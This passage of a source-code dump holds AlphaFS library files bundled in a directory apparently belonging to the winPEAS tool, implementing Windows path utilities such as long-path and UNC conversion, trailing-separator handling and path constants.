= GetRootLength(pathRp, false); // Check if pathRp is an empty string. if (rootLengthPathRp == 0 && path.StartsWith(LongPathPrefix, StringComparison.Ordinal)) return GetLongPathCore(path.Substring(0, rootLengthPath), GetFullPathOptions.None); return path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) ? GetLongPathCore(pathRp.Substring(0, rootLengthPathRp), GetFullPathOptions.None) : path.Substring(0, rootLengthPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetRegularPathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Gets the regular path from a long path. /// /// Returns the regular form of a long . /// For example: "\\?\C:\Temp\file.txt" to: "C:\Temp\file.txt", or: "\\?\UNC\Server\share\file.txt" to: "\\Server\share\file.txt". /// /// /// MSDN: String.TrimEnd Method notes to Callers: http://msdn.microsoft.com/en-us/library/system.string.trimend%28v=vs.110%29.aspx /// /// /// /// The path. /// Options for controlling the full path retrieval. /// When false, throws an . [SecurityCritical] internal static string GetRegularPathCore(string path, GetFullPathOptions options, bool allowEmpty) { if (null == path) throw new ArgumentNullException("path"); if (!allowEmpty && (path.Trim().Length == 0 || Utils.IsNullOrWhiteSpace(path))) throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, "path"); if (options != GetFullPathOptions.None) path = ApplyFullPathOptions(path, options); if (path.StartsWith(DosDeviceUncPrefix, StringComparison.OrdinalIgnoreCase)) return UncPrefix + path.Substring(DosDeviceUncPrefix.Length); if (path.StartsWith(LogicalDrivePrefix, StringComparison.Ordinal)) return path.Substring(LogicalDrivePrefix.Length); if (path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal)) return path.Substring(NonInterpretedPathPrefix.Length); return path.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase) || !path.StartsWith(LongPathPrefix, StringComparison.Ordinal) ? path : (path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) ? UncPrefix + path.Substring(LongPathUncPrefix.Length) : path.Substring(LongPathPrefix.Length)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetSuffixedDirectoryNameCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the directory information for the specified with a trailing character. /// /// The suffixed directory information for the specified with a trailing character, /// or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// /// This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator() /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static string GetSuffixedDirectoryNameCore(KernelTransaction transaction, string path, PathFormat pathFormat) { var parentFolder = Directory.GetParentCore(transaction, path, pathFormat); return null != parentFolder && null != parentFolder.Parent && null != parentFolder.Name ? AddTrailingDirectorySeparator(CombineCore(false, parentFolder.Parent.FullName, parentFolder.Name), false) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetSuffixedDirectoryNameWithoutRootCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the directory information for the specified without the root and with a trailing character. /// /// The directory information for the specified without the root and with a trailing character, /// or null if is null or if is null. /// /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] private static string GetSuffixedDirectoryNameWithoutRootCore(KernelTransaction transaction, string path, PathFormat pathFormat) { var parentFolder = Directory.GetParentCore(transaction, path, pathFormat); if (null == parentFolder || null == parentFolder.Parent) return null; var tmpParent = parentFolder; string suffixedDirectoryNameWithoutRoot; do { suffixedDirectoryNameWithoutRoot = tmpParent.DisplayPath.Replace(parentFolder.Root.ToString(), string.Empty); if (null != tmpParent.Parent) tmpParent = parentFolder.Parent.Parent; } while (null != tmpParent && null != tmpParent.Root.Parent && null != tmpParent.Parent && !Utils.IsNullOrWhiteSpace(tmpParent.Parent.ToString())); return !Utils.IsNullOrWhiteSpace(suffixedDirectoryNameWithoutRoot) ? AddTrailingDirectorySeparator(suffixedDirectoryNameWithoutRoot.TrimStart(DirectorySeparatorChar), false) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetTempPathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Returns the path of the current user's temporary folder. /// The folder name to append to the temporary folder. /// The path to the temporary folder, combined with . [SecurityCritical] internal static string GetTempPathCore(string combinePath) { var tempPath = System.IO.Path.GetTempPath(); return !Utils.IsNullOrWhiteSpace(combinePath) ? CombineCore(false, tempPath, combinePath) : tempPath; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.IsPathRootedCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Gets a value indicating whether the specified path string contains absolute or relative path information. /// true if contains a root; otherwise, false. /// /// The IsPathRooted method returns true if the first character is a directory separator character such as /// , or if the path starts with a drive letter and colon (). /// For example, it returns true for path strings such as "\\MyDir\\MyFile.txt", "C:\\MyDir", or "C:MyDir". /// It returns false for path strings such as "MyDir". /// /// This method does not verify that the path or file name exists. /// /// /// The path to test. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] internal static bool IsPathRootedCore(string path, bool checkInvalidPathChars) { if (null != path) { if (checkInvalidPathChars) CheckInvalidPathChars(path, false, true); var length = path.Length; if (length >= 1 && IsDVsc(path[0], false) || length >= 2 && IsDVsc(path[1], true)) return true; } return false; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.IsUncPathCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Determines if a path string is a valid Universal Naming Convention (UNC) path, optionally skip invalid path character check. /// true if the specified path is a Universal Naming Convention (UNC) path, false otherwise. /// The path to check. /// When true indicates that is already in regular path format. /// true will check for invalid path characters. [SecurityCritical] internal static bool IsUncPathCore(string path, bool isRegularPath, bool checkInvalidPathChars) { if (!isRegularPath) path = GetRegularPathCore(path, checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : GetFullPathOptions.None, false); else if (checkInvalidPathChars) CheckInvalidPathChars(path, false, false); Uri uri; return Uri.TryCreate(path, UriKind.Absolute, out uri) && uri.IsUnc; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.LocalToUncCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.IO; using System.Net.NetworkInformation; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Converts a local path to a network share path, optionally returning it in a long path format and the ability to add or remove a trailing backslash. /// A Local path, e.g.: "C:\Windows" or "C:\Windows\" will be returned as: "\\localhost\C$\Windows". /// If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing character. /// /// On successful conversion a UNC path is returned. /// If the conversion fails, is returned. /// If is an empty string or null, null is returned. /// /// /// /// /// A local path, e.g.: "C:\Windows". /// Options for controlling the full path retrieval. /// Indicates the format of the path parameter. //[SecurityCritical] //internal static string LocalToUncCore(string localPath, GetFullPathOptions fullPathOptions, PathFormat pathFormat) //{ // if (Utils.IsNullOrWhiteSpace(localPath)) // return null; // if (pathFormat == PathFormat.RelativePath) // CheckSupportedPathFormat(localPath, true, true); // var addTrailingDirectorySeparator = (fullPathOptions & GetFullPathOptions.AddTrailingDirectorySeparator) != 0; // var removeTrailingDirectorySeparator = (fullPathOptions & GetFullPathOptions.RemoveTrailingDirectorySeparator) != 0; // if (addTrailingDirectorySeparator && removeTrailingDirectorySeparator) // throw new ArgumentException(Resources.GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid, "fullPathOptions"); // if (!removeTrailingDirectorySeparator && !addTrailingDirectorySeparator) // { // // Add a trailing backslash when "localPath" ends with a backslash. // if (localPath.EndsWith(DirectorySeparator, StringComparison.Ordinal)) // { // fullPathOptions &= ~GetFullPathOptions.RemoveTrailingDirectorySeparator; // Remove removal of trailing backslash. // fullPathOptions |= GetFullPathOptions.AddTrailingDirectorySeparator; // Add adding trailing backslash. // } // } // var getAsLongPath = (fullPathOptions & GetFullPathOptions.AsLongPath) != 0; // var returnUncPath = GetRegularPathCore(localPath, fullPathOptions | GetFullPathOptions.CheckInvalidPathChars, false); // if (!IsUncPathCore(returnUncPath, true, false)) // { // if (returnUncPath[0] == CurrentDirectoryPrefixChar || !IsPathRooted(returnUncPath, false)) // returnUncPath = GetFullPathCore(null, false, returnUncPath, GetFullPathOptions.None); // var drive = GetPathRoot(returnUncPath, false); // if (Utils.IsNullOrWhiteSpace(drive)) // return returnUncPath; // var remoteInfo = Host.GetRemoteNameInfoCore(returnUncPath, true); // // Network share. // if (!Utils.IsNullOrWhiteSpace(remoteInfo.lpUniversalName)) // return getAsLongPath ? GetLongPathCore(remoteInfo.lpUniversalName, fullPathOptions) : GetRegularPathCore(remoteInfo.lpUniversalName, fullPathOptions, false); // // Network root. // if (!Utils.IsNullOrWhiteSpace(remoteInfo.lpConnectionName)) // return getAsLongPath ? GetLongPathCore(remoteInfo.lpConnectionName, fullPathOptions) : GetRegularPathCore(remoteInfo.lpConnectionName, fullPathOptions, false); // // Split: localDrive[0] = "C", localDrive[1] = "\Windows" // var localDrive = returnUncPath.Split(VolumeSeparatorChar); // // Return: "\\localhost\C$\Windows" // returnUncPath = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}{3}{4}", Host.GetUncName(), DirectorySeparator, localDrive[0], NetworkDriveSeparator, localDrive[1]); // } // return getAsLongPath ? GetLongPathCore(returnUncPath, fullPathOptions) : GetRegularPathCore(returnUncPath, fullPathOptions, false); //} } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.RemoveTrailingDirectorySeparatorCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Removes the trailing or character from the string, when present. /// A text string where the trailing or character has been removed. The function returns null when is null. /// A text string from which the trailing or is to be removed, when present. /// If true the trailing character will be removed instead. [SecurityCritical] internal static string RemoveTrailingDirectorySeparatorCore(string path, bool removeAlternateSeparator) { return null != path ? path.TrimEnd(removeAlternateSeparator ? AltDirectorySeparatorChar : DirectorySeparatorChar) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.AddTrailingDirectorySeparator.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Adds a trailing character to the string, when absent. /// A text string with a trailing character. The function returns null when is null. /// A text string to which the trailing is to be added, when absent. [SecurityCritical] public static string AddTrailingDirectorySeparator(string path) { return AddTrailingDirectorySeparator(path, false); } /// [AlphaFS] Adds a trailing or character to the string, when absent. /// A text string with a trailing or character. The function returns null when is null. /// A text string to which the trailing or is to be added, when absent. /// If true the character will be added instead. [SecurityCritical] public static string AddTrailingDirectorySeparator(string path, bool addAlternateSeparator) { return AddTrailingDirectorySeparatorCore(path, addAlternateSeparator); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.ChangeExtension.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Changes the extension of a path string. /// The modified path information. /// /// The path information to modify. The path cannot contain any of the characters defined in . /// The new extension (with or without a leading period). Specify null to remove an existing extension from path. [SecurityCritical] public static string ChangeExtension(string path, string extension) { return System.IO.Path.ChangeExtension(path, extension); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Combine.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// Combines an array of strings into a path. /// The combined paths. /// /// /// An array of parts of the path. [SecurityCritical] public static string Combine(params string[] paths) { return CombineCore(true, paths); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.Constants.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Characters to trim from the SearchPattern. internal static readonly char[] TrimEndChars = {(char) 0x9, (char) 0xA, (char) 0xB, (char) 0xC, (char) 0xD, (char) 0x20, (char) 0x85, (char) 0xA0}; /// AltDirectorySeparatorChar = '/' Provides a platform-specific alternate character used to separate directory levels in a path string that reflects a hierarchical file system organization. public static readonly char AltDirectorySeparatorChar = System.IO.Path.AltDirectorySeparatorChar; /// [AlphaFS] AltDirectorySeparatorChar = "/" Provides a platform-specific alternate string used to separate directory levels in a path string that reflects a hierarchical file system organization. public static readonly string AltDirectorySeparator = AltDirectorySeparatorChar.ToString(CultureInfo.InvariantCulture); /// DirectorySeparatorChar = '\' Provides a platform-specific character used to separate directory levels in a path string that reflects a hierarchical file system organization. public static readonly char DirectorySeparatorChar = System.IO.Path.DirectorySeparatorChar; /// [AlphaFS] DirectorySeparator = "\" Provides a platform-specific string used to separate directory levels in a path string that reflects a hierarchical file system organization. public static readonly string DirectorySeparator = DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] NetworkDriveSeparator = '$' Provides a platform-specific network drive separator character. public const char NetworkDriveSeparatorChar = '$'; /// [AlphaFS] NetworkDriveSeparator = "$" Provides a platform-specific network drive separator string. public static readonly string NetworkDriveSeparator = NetworkDriveSeparatorChar.ToString(CultureInfo.InvariantCulture); /// PathSeparator = ';' A platform-specific separator character used to separate path strings in environment variables. public static readonly char PathSeparator = System.IO.Path.PathSeparator; /// VolumeSeparatorChar = ':' Provides a platform-specific Volume Separator character. public static readonly char VolumeSeparatorChar = System.IO.Path.VolumeSeparatorChar; /// [AlphaFS] VolumeSeparator = ":" Provides a platform-specific Volume Separator string. public static readonly string VolumeSeparator = VolumeSeparatorChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] StreamSeparator = ':' Provides a platform-specific Stream-name character. public const char StreamSeparatorChar = ':'; /// [AlphaFS] StreamSeparator = ':' Provides a platform-specific Stream-name string. public static readonly string StreamSeparator = StreamSeparatorChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] StreamDataLabel = ':$DATA' Provides a platform-specific Stream :$DATA label. public static readonly string StreamDataLabel = StreamSeparator + "$DATA"; /// [AlphaFS] StringTerminatorChar = '\0' String Terminator Suffix. public const char StringTerminatorChar = '\0'; /// [AlphaFS] CurrentDirectoryPrefix = '.' Provides a current directory character. public const char CurrentDirectoryPrefixChar = '.'; /// [AlphaFS] CurrentDirectoryPrefix = "." Provides a current directory string. public static readonly string CurrentDirectoryPrefix = CurrentDirectoryPrefixChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] ExtensionSeparatorChar = '.' Provides an Extension Separator character. public const char ExtensionSeparatorChar = '.'; /// [AlphaFS] ParentDirectoryPrefix = ".." Provides a parent directory string. public const string ParentDirectoryPrefix = ".."; /// [AlphaFS] WildcardStarMatchAll = '*' Provides a match-all-items character. public const char WildcardStarMatchAllChar = '*'; /// [AlphaFS] WildcardStarMatchAll = "*" Provides a match-all-items string. public static readonly string WildcardStarMatchAll = WildcardStarMatchAllChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] WildcardQuestion = '?' Provides a replace-item string. public const char WildcardQuestionChar = '?'; /// [AlphaFS] WildcardQuestion = "?" Provides a replace-item string. public static readonly string WildcardQuestion = WildcardQuestionChar.ToString(CultureInfo.InvariantCulture); /// [AlphaFS] Win32 File Namespace. The "\\?\" prefix to a path string tells the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system. public static readonly string LongPathPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{0}{1}{0}", DirectorySeparatorChar, WildcardQuestion); /// [AlphaFS] Win32 Device Namespace. The "\\.\"prefix is how to access physical disks and volumes, without going through the file system, if the API supports this type of access. public static readonly string LogicalDrivePrefix = string.Format(CultureInfo.InvariantCulture, "{0}{0}.{0}", DirectorySeparatorChar); /// [AlphaFS] PhysicalDrivePrefix = "\\.\PhysicalDrive" Provides standard physical drive prefix. public static readonly string PhysicalDrivePrefix = string.Format(CultureInfo.InvariantCulture, "{0}PhysicalDrive", LogicalDrivePrefix); /// [AlphaFS] GlobalRootPrefix = "\\?\GlobalRoot\" Provides standard Windows Volume prefix. public static readonly string GlobalRootPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}", LongPathPrefix, "GlobalRoot", DirectorySeparatorChar); /// [AlphaFS] GlobalRootDevicePrefix = 